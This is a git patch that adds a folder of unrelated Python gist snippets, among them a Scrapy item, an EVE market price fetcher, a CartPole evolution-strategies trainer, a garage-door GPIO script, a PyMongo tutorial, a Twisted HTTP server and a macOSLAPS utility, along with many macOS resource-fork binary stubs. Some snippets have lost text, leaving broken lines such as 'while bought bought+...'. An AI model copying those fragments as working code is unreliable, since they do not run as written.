From 26c94dc592f2036e6c778f26228e51e64a921d5a Mon Sep 17 00:00:00 2001 From: Parthrajveluri Date: Tue, 24 Mar 2026 20:46:19 -0400 Subject: [PATCH 1/2] Initial Langgraph pipeline --- hard-gists/.DS_Store | Bin 0 -> 6148 bytes hard-gists/._.DS_Store | Bin 0 -> 163 bytes hard-gists/._00056d4304c58a035c87cdf5ff1e5e3e | Bin 0 -> 163 bytes hard-gists/._000eccf3d66540d75def | Bin 0 -> 163 bytes hard-gists/._00135b0dfee0ae165ad2 | Bin 0 -> 163 bytes hard-gists/._005bbad123ef309a5bef | Bin 0 -> 163 bytes hard-gists/._005ceac0483fc5a581cc | Bin 0 -> 163 bytes hard-gists/._00a17b1d374dfc267a9a | Bin 0 -> 163 bytes hard-gists/._00a4835bf36513ca58a3 | Bin 0 -> 163 bytes hard-gists/._00e9638c0efad1adac878522cf172484 | Bin 0 -> 163 bytes hard-gists/._011004bcac763eaf6f28 | Bin 0 -> 163 bytes hard-gists/._0115e0ce312f26ff59f4fbf4f5821ca2 | Bin 0 -> 163 bytes hard-gists/._015e2ce27cecdea63564 | Bin 0 -> 163 bytes hard-gists/._01886b6f79ba0c4dce66 | Bin 0 -> 163 bytes hard-gists/._0191e14717af68bbba81 | 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Bin 0 -> 163 bytes hard-gists/._b9df49cfc1540bc8b896 | Bin 0 -> 163 bytes hard-gists/._ba235b7e90aafb9986158697a457a0d0 | Bin 0 -> 163 bytes hard-gists/._badd18a84b236c9e6c34057512cb569a | Bin 0 -> 163 bytes hard-gists/._baf42b089d71b94fd229 | Bin 0 -> 163 bytes hard-gists/._bb160e63686f517c93a937f46714dd03 | Bin 0 -> 163 bytes hard-gists/._bb61c15139bff338cb17 | Bin 0 -> 163 bytes hard-gists/._bb640cebefcc550f357c | Bin 0 -> 163 bytes hard-gists/._bb85da3aa563b747151e | Bin 0 -> 163 bytes hard-gists/._bba5c2ba3000010ca049d6f96f5d2f27 | Bin 0 -> 163 bytes hard-gists/._bbfa863f3fe4bb2163d94394d7b60899 | Bin 0 -> 163 bytes hard-gists/._bbfc1f0b9d003bf08b26 | Bin 0 -> 163 bytes hard-gists/._bc901de8b7e59cbeb190 | Bin 0 -> 163 bytes hard-gists/._bca0daa0c3ca0ddb2c70 | Bin 0 -> 163 bytes hard-gists/._bcc376fb336b73f24b29 | Bin 0 -> 163 bytes hard-gists/._bcd8b4002b6cbf77dd89 | Bin 0 -> 163 bytes hard-gists/._bce94f1c37215f644e0c | Bin 0 -> 163 bytes hard-gists/._bce98c5c1688fc833475 | Bin 0 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Bin 0 -> 163 bytes hard-gists/._c47824c116e6a61a56d9 | Bin 0 -> 163 bytes hard-gists/._c4806c504e46e8cdb00a | Bin 0 -> 163 bytes hard-gists/._c4b999517b713adb6480a349bb6d7658 | Bin 0 -> 163 bytes hard-gists/._c503014bbb03088bec37a61231036461 | Bin 0 -> 163 bytes hard-gists/._c577716bd2f15b9ca330b15443e8bfbe | Bin 0 -> 163 bytes hard-gists/._c591cab03c66780b18d5 | Bin 0 -> 163 bytes hard-gists/._c5af642cf217971d93f499e8f70fcb72 | Bin 0 -> 163 bytes hard-gists/._c5afa16b07747b113808 | Bin 0 -> 163 bytes hard-gists/._c5ead2b72b2be03eb0ca | Bin 0 -> 163 bytes hard-gists/._c613bd0fad5de00bab2e | Bin 0 -> 163 bytes hard-gists/._c648d753e7d0176ff172 | Bin 0 -> 163 bytes hard-gists/._c67039252268ec5e66ba | Bin 0 -> 163 bytes hard-gists/._c6936d219db8e6635d25 | Bin 0 -> 163 bytes hard-gists/._c6b3e4d47d933b057aab32c9c29c4221 | Bin 0 -> 163 bytes hard-gists/._c70fb69eef42d40bed06 | Bin 0 -> 163 bytes hard-gists/._c71f241125ed879d4af7 | Bin 0 -> 163 bytes hard-gists/._c781881856b30cacef36 | Bin 0 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oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K>> from models import Player + >>> item = ModelItem(Player()) + """ + + def __init__(self, model, **kwds): + super(self.__class__, self).__init__() + self._model = model + for key in model._meta.fields.keys(): + self.fields[key] = Field() + if kwds is not None: + for key, processor in kwds.iteritems(): + self.fields[key] = Field(input_processor=MapCompose( + strip_whitespace, processor + )) + + def __setitem__(self, key, value): + if key not in self.fields: + self.fields[key] = Field() + self._values[key] = value + + def copy(self): + return copy.deepcopy(self) + + @property + def model(self): + return self._model \ No newline at end of file diff --git a/hard-gists/000eccf3d66540d75def/._snippet.py b/hard-gists/000eccf3d66540d75def/._snippet.py new file mode 100644 index 0000000000000000000000000000000000000000..cd8af967d5023a3632b4db5865eb7688c032828f GIT binary patch literal 163 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K0: + time.sleep(leftToWait) + ret = func(*args,**kargs) + lastTimeCalled[0] = time.clock() + return ret + return rateLimitedFunction + return decorate + + + + +@RateLimited(20) +def getData(redisConnection,requestsConnection,memcacheConnection,typeid): + url="https://public-crest.eveonline.com/market/10000002/orders/sell/?type=https://public-crest.eveonline.com/types/"+str(typeid)+"/" + + while True: + exceptionCounter=0 + try: + selldata=requestsConnection.get(url) + except: + print str(typeid)+" exception :"+str(exceptionCounter) + exceptionCounter+=1 + time.sleep(exceptionCounter) + continue + if selldata.status_code == 200: + break + # wait to retry + print typeid+" is failing with "+selldata.status_code + time.sleep(1) + + data=selldata.json() + count=data['totalCount'] + numberOfSellItems=0 + sellPrice=dict() + for order in data['items']: + sellPrice[order['price']]=sellPrice.get(order['price'],0)+order['volume'] + numberOfSellItems+=order['volume'] + + # generate statistics + if numberOfSellItems: + prices=sorted(sellPrice.keys()) + fivePercent=max(numberOfSellItems/20,1) + bought=0 + boughtPrice=0 + while bought bought+sellPrice[fivePercentPrice]: + boughtPrice+=sellPrice[fivePercentPrice]*fivePercentPrice; + bought+=sellPrice[fivePercentPrice] + else: + diff=fivePercent-bought + boughtPrice+=fivePercentPrice*diff + bought=fivePercent + averageSellPrice=boughtPrice/bought + now=datetime.datetime.utcnow() + timezone="+00:00" + timestring=now.strftime("%Y-%m-%dT%H:%M:%S")+timezone + value="{:0.2f}|{}|{}|{}".format(averageSellPrice,numberOfSellItems,fivePercent,timestring) + redisConnection.set("forgesell-"+str(typeid), value) + memcacheConnection.set("forgesell-"+str(typeid), value) + print typeid + + + + + + + +if __name__ == "__main__": + engine = create_engine('mysql://eve:eve@localhost:3306/eve', echo=False) + result = engine.execute("select typeid from invTypes join invGroups on invTypes.groupid=invGroups.groupid where marketgroupid is not null and categoryid != 350001 and invTypes.published=1 order by typeid asc") + # build the basic list + baseitemids=[] + for row in result: + baseitemids.append(row[0]) + # Two redis connections. r for pushing in, sub for the pubsub. + rC = redis.StrictRedis(host='localhost', port=6379, db=0) + sub = redis.StrictRedis(host='localhost', port=6379, db=0) + feed = sub.pubsub(ignore_subscribe_messages=True) + feed.subscribe("forge-sell") + session = requests.Session() + session.headers.update({'UserAgent':'Fuzzwork Price Getter'}); + mC=memcache.Client(["127.0.0.1:11211"]) + itemids=list(baseitemids) + sleeptimer=0 + while True: + # check for override + message = feed.get_message() + if message: + typeid=message['data'] + else: + if len(itemids): + typeid=itemids.pop(0) + else: + time.sleep(1) + sleeptimer+=1 + if sleeptimer==3600: + itemids=list(baseitemsids) + continue + getData(rC,session,mC,typeid) diff --git a/hard-gists/005ceac0483fc5a581cc/._snippet.py b/hard-gists/005ceac0483fc5a581cc/._snippet.py new file mode 100644 index 0000000000000000000000000000000000000000..cd8af967d5023a3632b4db5865eb7688c032828f GIT binary patch literal 163 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K 250 and scores[np.argmax(scores)] > 250): + print("Saving") + networks[np.argmax(scores)].model.save('cartpole_nes.h5') + + print("Avg:", np.mean(scores), "High:", np.amax(scores), "Low:", np.amin(scores), + "Running:", sum(running[-100:])/(min(len(running),100)), "Current Best:", curr_score) + + #update the weights + print("Updating ", eps) + for l in range(1,len(networks[0].model.layers)): + weight_dot = noise[l-1] + bias_dot = bias_noise[l-1] + + weight_dot = np.dot(weight_dot.transpose(1,2,0), std) + #bias_dot = np.dot(bias_dot.transpose(1,2,0), std) + + curr_weights[l-1] = curr_weights[l-1] + LEARN_RATE/(NUM_WORKERS*SIGMA) * weight_dot + if APPLY_BIAS: + curr_bias[l-1] = curr_bias[l-1] + LEARN_RATE/(NUM_WORKERS*SIGMA) * bias_dot diff --git a/hard-gists/011004bcac763eaf6f28/._snippet.py b/hard-gists/011004bcac763eaf6f28/._snippet.py new file mode 100644 index 0000000000000000000000000000000000000000..cd8af967d5023a3632b4db5865eb7688c032828f GIT binary patch literal 163 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K 1: + if sys.argv[1] == '-h': + sys.stderr.write("""usage: %s [limit] [direction] +\tlimit: maximum number of seconds to drive [default: 0=until done] +\tdirection: direction to drive if if partially open, open/close [default: open] +""" % (sys.argv[0],)) + print + raise SystemExit + + limit = float(sys.argv[1]) + print "limit",limit +if len(sys.argv) > 2: + direction = sys.argv[2] + print "direction",direction + +signal.signal(signal.SIGALRM, emergency_coast) +signal.alarm(10) + +coast() +GPIO.add_event_detect(OPSW, GPIO.BOTH, handle) +GPIO.add_event_detect(CLSW, GPIO.BOTH, handle) + + +print "opened=",opened() +print "closed=",closed() + +time.sleep(0.1) + + +if opened(): + close() +elif closed(): + open() +else: + # partially open, open all the way (unless overridden) + if direction == 'close': + close() + else: + open() + +started = time.time() +for i in range(50): + time.sleep(0.5) + if opened(): + print "opened, done" + break + if closed(): + print "closed, done" + break + elapsed = time.time() - started + if limit != 0 and elapsed >= limit: + print "user-specified time limit %s exceeded, done" % (limit,) + break + +coast() diff --git a/hard-gists/015e2ce27cecdea63564/._snippet.py b/hard-gists/015e2ce27cecdea63564/._snippet.py new file mode 100644 index 0000000000000000000000000000000000000000..cd8af967d5023a3632b4db5865eb7688c032828f GIT binary patch literal 163 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K> pip install pymongo +# >> pip install git+https://github.com/pablito56/pydemo.git +# >> pydemo micro-pymongo.py + +# ******** Chapter 1 - The Basics: +# * +# * https://github.com/karlseguin/the-little-mongodb-book/blob/master/en/mongodb.markdown#chapter-1---the-basics +# +# MongoDB (from "humongous") is an open-source document database, (...) MongoDB features: +# Document-Oriented: JSON-style, with dynamic schemas. +# Full Index Support: Index on any attribute. +# Replication & High Availability: Across LANs and WANs. +# Auto-Sharding: Scale horizontally. +# Querying: Rich, document-based queries. +# Fast In-Place Updates: Atomic modifiers. +# Map/Reduce: Flexible aggregation and data processing. +# GridFS: Store files of any size. +# MongoDB Management: Monitoring and backup. + +# databases >> collections >> documents >> fields + +# Pymongo + MongoDB make it very easy to work: +# create a client +import pymongo +from datetime import datetime +client = pymongo.MongoClient() + +# use micro database +db = client['micro-mongodb-python-book'] + +# insert a document (a Python dict) into unicors collection +db.unicorns.insert({'name': 'Aurora', 'gender': 'f', 'weight': 450}) + +# both database and collection are, lazy initialized if do not exist + +# mongodb is schemaless, we can insert a document with different structure +db.unicorns.insert({'client_id': 'Mickey', 'specie': 'mouse', 'weight': 0.450}) + +# find returns a Cursor object, we can iterate over it. +for doc in db.unicorns.find(): + print doc + +# Querying data and selectors: +# remove documents in the collection +db.unicorns.remove() + +# First, insert some unicorns' data for later querying +db.unicorns.insert({'name': 'Horny', + 'dob': datetime(1992,2,13,7,47), + 'loves': ['carrot','papaya'], + 'weight': 600, + 'gender': 'm', + 'vampires': 63}); +db.unicorns.insert({'name': 'Aurora', + 'dob': datetime(1991, 10, 24, 13, 0), + 'loves': ['carrot', 'grape'], + 'weight': 450, + 'gender': 'f', + 'vampires': 43}); +db.unicorns.insert({'name': 'Unicrom', + 'dob': datetime(1973, 1, 9, 22, 10), + 'loves': ['energon', 'redbull'], + 'weight': 984, + 'gender': 'm', + 'vampires': 182}); +db.unicorns.insert({'name': 'Roooooodles', + 'dob': datetime(1979, 7, 18, 18, 44), + 'loves': ['apple'], + 'weight': 575, + 'gender': 'm', + 'vampires': 99}); +db.unicorns.insert({'name': 'Solnara', + 'dob': datetime(1985, 6, 4, 2, 1), + 'loves':['apple', 'carrot', + 'chocolate'], + 'weight':550, + 'gender':'f', + 'vampires':80}); +db.unicorns.insert({'name':'Ayna', + 'dob': datetime(1998, 2, 7, 8, 30), + 'loves': ['strawberry', 'lemon'], + 'weight': 733, + 'gender': 'f', + 'vampires': 40}); +db.unicorns.insert({'name':'Kenny', + 'dob': datetime(1997, 6, 1, 10, 42), + 'loves': ['grape', 'lemon'], + 'weight': 690, + 'gender': 'm', + 'vampires': 39}); +db.unicorns.insert({'name': 'Raleigh', + 'dob': datetime(2005, 4, 3, 0, 57), + 'loves': ['apple', 'sugar'], + 'weight': 421, + 'gender': 'm', + 'vampires': 2}); +db.unicorns.insert({'name': 'Leia', + 'dob': datetime(2001, 9, 8, 14, 53), + 'loves': ['apple', 'watermelon'], + 'weight': 601, + 'gender': 'f', + 'vampires': 33}); +db.unicorns.insert({'name': 'Pilot', + 'dob': datetime(1997, 2, 1, 5, 3), + 'loves': ['apple', 'watermelon'], + 'weight': 650, + 'gender': 'm', + 'vampires': 54}); +db.unicorns.insert({'name': 'Nimue', + 'dob': datetime(1999, 11, 20, 16, 15), + 'loves': ['grape', 'carrot'], + 'weight': 540, + 'gender': 'f'}); +db.unicorns.insert({'name': 'Dunx', + 'dob': datetime(1976, 6, 18, 18, 18), + 'loves': ['grape', 'watermelon'], + 'weight': 704, + 'gender': 'm', + 'vampires': 165}); +# Inserted some unicorns' data for later querying + +# MongoDB selectors are the equivalent to WHERE clauses in relational DB's +# a selector is an object instructing how to match objects in the collection + +# find all male unicorns +for doc in db.unicorns.find({'gender': 'm'}): + print doc + +# find all male unicorns that weigh more than 700 pounds +for doc in db.unicorns.find({'gender': 'm', 'weight': {'$gt': 700}}): + print doc + + +# female unicorns which either love apples or oranges or weigh less than 500 pounds +cursor = db.unicorns.find({'gender': 'f', '$or': [{'loves': 'apple'}, {'loves': 'orange'}, {'weight': {'$lt': 500}}]}) +for doc in cursor: + print doc + +# ******** Chapter 2 - Update: +# * +# * https://github.com/karlseguin/the-little-mongodb-book/blob/master/en/mongodb.markdown#chapter-2---updating +# + +# We have now many unicorn documents, let's update one of them: +db.unicorns.find_one({'name': 'Roooooodles'}) + +# Update takes a minimum of two arguments, one Selector object to match and an update object +db.unicorns.update({'name': 'Roooooodles'}, {'weight': 590}) + +# Let's check the result +db.unicorns.find_one({'name': 'Roooooodles'}) +# No results? How that can be? Check the result of the following + +db.unicorns.find_one({'weight': 590}) +# Update, by default will replace the matched document with the new document provided + +# How can we update just some fields and keep the rest unchanged? $set operator +# Let's recover our wrongly updated unicorn: +db.unicorns.update({'weight': 590}, {'$set': { + 'name': 'Roooooodles', + 'dob': datetime(1979, 7, 18, 18, 44), + 'loves': ['apple'], + 'gender': 'm', + 'vampires': 99}}) + +db.unicorns.find_one({'name': 'Roooooodles'}) +# In all previous update operations, the Roooooodles' document _id is the same + +# Other update modifiers: +# $inc for incrementing/decrementing a numeric field +db.unicorns.update({'name': 'Roooooodles'}, {'$inc': {'vampires': -2}}) +db.unicorns.find_one({'name': 'Roooooodles'}) + +# $push for adding element to an array field +db.unicorns.update({'name': 'Roooooodles'}, {'$push': {'loves': 'carrot'}}) + +# update modifiers can be combined to do many operations on a single operation +db.unicorns.update({'name': 'Roooooodles'}, {'$push': {'loves': 'potato'}, '$inc': {'vampires': 6}}) +db.unicorns.find_one({'name': 'Roooooodles'}) + +# many push and inc can on multiple elements be done in a single operation +db.unicorns.update({'name': 'Roooooodles'}, {'$push': {'loves': {'$each': ['apple', 'durian']}}, '$inc': {'vampires': 6, 'eggs': 1}}) +db.unicorns.find_one({'name': 'Roooooodles'}) + +# mongodb supports Upserts (Update or Insert) +# Let's count hits on our application pages +db.hits.update({'page': 'unicorns'}, {'$inc': {'hits': 1}}) +db.hits.find_one() + +db.hits.update({'page': 'unicorns'}, {'$inc': {'hits': 1}}, upsert=True) + +db.hits.find_one() + +# By default, update modifies just one document +db.unicorns.update({}, {'$set': {'vaccinated': True}}); +for unicorn in db.unicorns.find({'vaccinated': True}): + print unicorn + +# multiple updates can be applied in a single operation, by setting named parameter multi=True +db.unicorns.update({}, {'$set': {'vaccinated': True}}, multi=True); +for unicorn in db.unicorns.find({'vaccinated': True}).limit(5): + print unicorn + +# ******** Chapter 3 - Mastering Find: +# * +# * https://github.com/karlseguin/the-little-mongodb-book/blob/master/en/mongodb.markdown#chapter-3---mastering-find +# + +# We can ask mongodb to return just some fields when selecting documents +# _id is included by default unless we explicitly exclude it +# the rest of fields are not included by default +for doc in db.unicorns.find({}, {'_id': 0, 'name': 1}): + print doc + +# Sorting documents +for doc in db.unicorns.find({}, {'name': 1, 'weight': 1}).sort([('name', pymongo.ASCENDING), ('vampires', pymongo.DESCENDING)]): + print doc + +# Paging results +for doc in db.unicorns.find({}).sort([('name', pymongo.ASCENDING)]).skip(3).limit(2): + print doc + +# Counting results +db.unicorns.find({'vampires': {'$gt': 50}}).count() + +# ******** Chapter 4 - Data Modelling: +# * +# * https://github.com/karlseguin/the-little-mongodb-book/blob/master/en/mongodb.markdown#chapter-4---data-modeling +# + +# No joins are available in MongoDB. +# Let's going to create three employees: Leto, Duncan and Moneo. Leto is the manager. +from bson.objectid import ObjectId +db.employees.insert({'_id': ObjectId('4d85c7039ab0fd70a117d730'), 'name': 'Leto'}) +db.employees.insert({'_id': ObjectId('4d85c7039ab0fd70a117d731'), 'name': 'Duncan', + 'manager': ObjectId('4d85c7039ab0fd70a117d730')}); +db.employees.insert({'_id': ObjectId('4d85c7039ab0fd70a117d732'), 'name': 'Moneo', + 'manager': ObjectId('4d85c7039ab0fd70a117d730')}); + +for employee in db.employees.find({'manager': ObjectId('4d85c7039ab0fd70a117d730')}): + print employee + +# This relationships can be stored in arrays to model 1:N relationships +# Let's supose some employees can have many managers +db.employees.insert({'_id': ObjectId('4d85c7039ab0fd70a117d733'), 'name': 'Siona', + 'manager': [ObjectId('4d85c7039ab0fd70a117d730'), + ObjectId('4d85c7039ab0fd70a117d732')] + }) + +# The previous query still works +for employee in db.employees.find({'manager': ObjectId('4d85c7039ab0fd70a117d730')}): + print employee + +# We can also model by nesting documents inside documents: +db.employees.insert({'_id': ObjectId('4d85c7039ab0fd70a117d734'), 'name': 'Ghanima', + 'family': {'mother': 'Chani', + 'father': 'Paul', + 'brother': ObjectId('4d85c7039ab0fd70a117d730')}}) + +# Embedded documents can be queried with dot-notation: +for employee in db.employees.find({'family.mother': 'Chani'}): + print employee + +# DBRef objects allow to reference a collection and document from our document. +# Some drivers may get automatically the referenced object. Pymongo does so. + +# Want to see the employee => manager example with DBRef? https://gist.github.com/javierarilos/d5fce5d50b1b9b8e2784 + +# ******** Chapter 5 - When to use MongoDB: +# * +# * https://github.com/karlseguin/the-little-mongodb-book/blob/master/en/mongodb.markdown#chapter-5---when-to-use-mongodb +# + +# Out of the scope of this doc, see the link if you want to know more. + +# Geospatial queries: http://mongly.openmymind.net/geo/index + +# ******** Chapter 6 - Map and Reduce: +# * +# * https://github.com/karlseguin/the-little-mongodb-book/blob/master/en/mongodb.markdown#chapter-6---mapreduce +# + +# Out of the scope of this doc, see the link if you want to know more. + +# ******** Chapter 7 - Performance and Tools: +# * +# https://github.com/karlseguin/the-little-mongodb-book/blob/master/en/mongodb.markdown#chapter-7---performance-and-tools# +# + +# Creating and deleting an index on name field +db.unicorns.ensure_index([('name', pymongo.DESCENDING)]) +db.unicorns.drop_index([('name', pymongo.DESCENDING)]) + +# An index can be set as Unique (not repeated values for the indexed field) +db.unicorns.ensure_index([('name', pymongo.DESCENDING)], unique=True) + +# Indexes can be set in embedded fiels and in array fields. +# Indexes can be compound on different fields: +db.unicorns.ensure_index([('name', pymongo.DESCENDING), ('vampires', pymongo.ASCENDING)]) + +# Explain, get some information on how query executes +db.unidorns.find().explain() diff --git a/hard-gists/01886b6f79ba0c4dce66/._snippet.py b/hard-gists/01886b6f79ba0c4dce66/._snippet.py new file mode 100644 index 0000000000000000000000000000000000000000..cd8af967d5023a3632b4db5865eb7688c032828f GIT binary patch literal 163 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K>> discrimine(lambda x: x < 5, [3, 4, 5, 6, 7, 8]) + ... ([3, 4], [5, 6, 7, 8]) + """ + positive, negative = [], [] + for item in sequence: + if pred(item): + positive.append(item) + else: + negative.append(item) + return positive, negative diff --git a/hard-gists/0191e14717af68bbba81/._snippet.py b/hard-gists/0191e14717af68bbba81/._snippet.py new file mode 100644 index 0000000000000000000000000000000000000000..cd8af967d5023a3632b4db5865eb7688c032828f GIT binary patch literal 163 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K=0: + self.buf=StringIO() + self.buf.write(buf[eor+4:]) # leave remainder in buf + self.parse_request(buf[:eor]) + self.read_timer_off() + self.keep_alive_timer_on() + + def on_error(self, e): + print 'parser got error', e + self.keep_alive_timer_off() + self.read_timer_off() + self.requests_in.on_error(HttpResponse(500, 'Internal Server Error')) + + def on_completed(self): + print 'parser completed' + self.keep_alive_timer_off() + self.read_timer_off() + self.requests_in.on_completed() + + +class HttpWriter(Observer): + def __init__(self, conn): + super(HttpWriter, self).__init__() + self.conn=conn + + def on_next(self, resp): + self.conn.transport.write(resp.render()) + + def on_error(self, e): + print 'writer got error', e + if isinstance(e, HttpResponse): + self.conn.transport.write(e.render()) + self.conn.transport.loseConnection() + + def on_completed(self): + print 'writer completed' + self.conn.transport.loseConnection() + + +class HttpRequest(object): + def __init__(self, conn, method, uri): + self.conn=conn + self.method=method.upper() + self.uri=uri + + def __str__(self): + return ''%(self.method, self.uri) + + +class HttpResponse(object): + def __init__(self, status_code, status_text, content=None, headers=None): + self.status_code=status_code + self.status_text=status_text + self.content=content or '' + self.headers=headers or ('Content-Type: text/plain; charset=utf-8', + 'Content-Length: '+str(len(self.content))) + + def render(self): + return 'HTTP/1.1 '+str(self.status_code)+' '+self.status_text+'\r\n'+'\r\n'.join( + self.headers)+'\r\n\r\n'+self.content + + def __str__(self): + return ''%(self.status_code, self.status_text) + + +def accept_connection(conn): + # wire the data flow + http=HttpParser(conn) + conn.data_in.subscribe(http) + http.requests_in.map(handle_request).subscribe(http.responses_out) + + +def handle_request(req): + # print 'req', req.method, req.uri + return HttpResponse(200, 'OK', content='Hello, '+req.uri+'!') + + +HttpConnection.listener.subscribe(accept_connection) + +# run Twisted +# listening on port 8007 +TCP4ServerEndpoint(reactor, 8007).listen(Factory.forProtocol(HttpConnection)) +reactor.run() diff --git a/hard-gists/01b8b8e1909ae0f601c85e142f2bd15b/._snippet.py b/hard-gists/01b8b8e1909ae0f601c85e142f2bd15b/._snippet.py new file mode 100644 index 0000000000000000000000000000000000000000..cd8af967d5023a3632b4db5865eb7688c032828f GIT binary patch literal 163 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K, <{}>'.format(title, body) + PUSHBULLET.push_note(title, body) + + +def main(uid): + client = Client(APP_KEY, APP_SECRET, CALLBACK_URL, username=USERID, password=PASSWD) + data = client.get('statuses/friends_timeline') + statuses = [status for status in data['statuses'] if status['user']['id'] == uid] + statuses.sort(key=lambda x: x['id'], reverse=True) + if not statuses: + return + weibo = get_weibo(uid) + newest = get_user(statuses[0]) + + if weibo.user is None: + weibo.user = newest + + diff = weibo.user.diff(newest) + + if diff: + weibo.user = newest + send_noti(u'{} 的微博资料更新'.format(weibo.user.name), + u'{} 的微博资料有如下更新：\n{}'.format(weibo.user.name, u'\n'.join(diff))) + + tweet = get_tweet(statuses[0]) + has_new = weibo.last != tweet.id + + if has_new: + weibo.last = tweet.id + weibo.tweets.append(tweet) + send_noti(u'{} 发新微博啦~'.format(weibo.user.name), + u'{} 通过【{}】发送了一条微博，内容是：\n{}'.format( + weibo.user.name, + BeautifulSoup(tweet.source).getText(), + tweet.text + )) + + if has_new or diff: + save_weibo(uid, weibo) + + +if __name__ == '__main__': + main(int(sys.argv[1])) diff --git a/hard-gists/01bf3900d3a02c4e3927b2a2bcf39100/._snippet.py b/hard-gists/01bf3900d3a02c4e3927b2a2bcf39100/._snippet.py new file mode 100644 index 0000000000000000000000000000000000000000..cd8af967d5023a3632b4db5865eb7688c032828f GIT binary patch literal 163 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K> ") + if choice != "1" and choice != "2" and choice != "3": + raw_input("\n\nPlease enter a valid choice" + " (Example \"1\", \"2\", \"3\")") + continue + if choice == "3": + print "Thank you for using macOSLAPS Utility!" + continue + computer_name = raw_input("Computer Name: ") + macOSLAPS_Utility(choice, ad_user_name, ad_password, computer_name) + continue + + exit(0) + + +if __name__ == "__main__": + main() diff --git a/hard-gists/01c99322cf985e771827/._snippet.py b/hard-gists/01c99322cf985e771827/._snippet.py new file mode 100644 index 0000000000000000000000000000000000000000..cd8af967d5023a3632b4db5865eb7688c032828f GIT binary patch literal 163 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K0: + validation = "yes" + else: + validation = "no" + if validation == 'yes': + + result = ("Successfully converted {0} to Shapefile and output to" + " disk at {1}".format(file,out_filename)) + else: + raise ValueError('The Shapefile conversion did not create a ' + 'valid shapefile object. Try to clean your ' + 'data or try another file.') + else: + raise ValueError('The conversion returned no data; check if' + ' you entered a correct output file type. ' + 'Valid output types are geojson, shapefile,' + ' csv, geodataframe, and/or pandas dataframe.') + + return result + + + + + + \ No newline at end of file diff --git a/hard-gists/034e799c19eb763fa859/._snippet.py b/hard-gists/034e799c19eb763fa859/._snippet.py new file mode 100644 index 0000000000000000000000000000000000000000..cd8af967d5023a3632b4db5865eb7688c032828f GIT binary patch literal 163 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K= 2.6 to get proper exec handling for cursor context manager + # see https://github.com/psycopg/psycopg2/issues/262 + with conn.cursor(cls.ss_cursor_name) as c: + c.itersize = 100 # 100 to 1000 should be reasonable + c.execute(sql, params_list) + for row in c: + yield row + + @classproperty + def db_dsn(cls): + return "dbname=%s user=%s" % ( + settings.DATABASES['default']['NAME'], + settings.DATABASES['default']['USER']) + + @classproperty + def ss_cursor_name(cls): + "generates `random`ish server side cursor name" + return 'cur_%s' % str(uuid.uuid4()).replace('-', '')[:10] + + +class Report(models.Model, LargeQueryConnectionMixin): + created = models.DateTimeField() + user = models.ForeignKey(User) + # .... more model attribs + + @classmethod + 